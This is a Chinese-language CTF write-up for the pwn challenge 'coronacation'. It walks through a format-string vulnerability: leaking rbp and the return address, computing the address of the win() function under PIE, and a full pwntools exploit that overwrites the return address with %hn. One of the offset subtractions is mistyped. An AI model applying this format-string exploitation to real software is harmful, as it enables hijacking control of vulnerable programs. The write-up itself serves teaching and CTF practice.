屏幕截图 2023-05-25 214320

屏幕截图 2023-05-25 214350

IDA进程序看下,发现printf(s)存在格式化字符串漏洞,且第一次fgets输入字符1会执行close_borders,其实执行no_panic也同理,方便起见只演示下close_borders

屏幕截图 2023-05-25 215106

checksec下,relro保护全开,got表地址改不了,pie也打开了,地址是随机的。

屏幕截图 2023-05-25 215525

屏幕截图 2023-05-25 215559

在ida里仔细找找,发现题目给了win()函数,但pie是打开的,ida里显示的是偏移地址

屏幕截图 2023-05-25 220602

gdb调试下,输入的值是格式化字符串的第6个参数

屏幕截图 2023-05-25 220814

rbp是第14个参数,返回地址是第15个参数,rbp的值与栈上储存返回地址的地址偏移为0x8

屏幕截图 2023-05-25 221639

得到基址0x555555554000

屏幕截图 2023-05-25 221657

基址+偏移,得到win函数的真实地址,计算其与返回地址的偏移(偏移是固定的),即0x55555555484-0x555555555165=0x31f

确定下思路,先用第1个printf泄露出rbp,返回地址的值,rbp的值-0x8得到储存返回地址的真实地址,返回地址的值-0x31f得到win函数的真实地址。再通过第2个printf将储存返回地址的真实地址写入,修改为win函数的地址即可。注意,第二次写入储存返回地址的真实地址时,存在\x00截断(因为64位的地址最多使用12位),要将返回地址放到payload末尾。最后接收flag之后一定要进交互,否则程序不会在终端(即屏幕)上显示接收到的字符。

exp如下:

from pwn import *

context(log_level=’debug’)

p=process(‘./coronacation’)

p.recv()

offset=0x8

win_offset=0x31f

payload1=str(1).encode(‘utf-8’)+b’%14$p.’+b’%15$p.’

p.sendline(payload1)

p.recvuntil(b’chose: 1’)

rbp=int(p.recvuntil(b’.’,drop=True),16)

ret=int(p.recvuntil(b’.’,drop=True),16)

print(hex(rbp))

print(hex(ret))

stack_ret=rbp-offset

win_addr=ret-win_offset

print(hex(stack_ret))

p.recv()

payload2=b’%’+str((win_addr&0xffff)).encode(‘utf-8’)+b’c’+b’%8$hn’

payload2=payload2.ljust(16,b’a’)

payload2+=p64(stack_ret)

p.sendline(payload2)

p.recvuntil(b’}’)

p.interactive()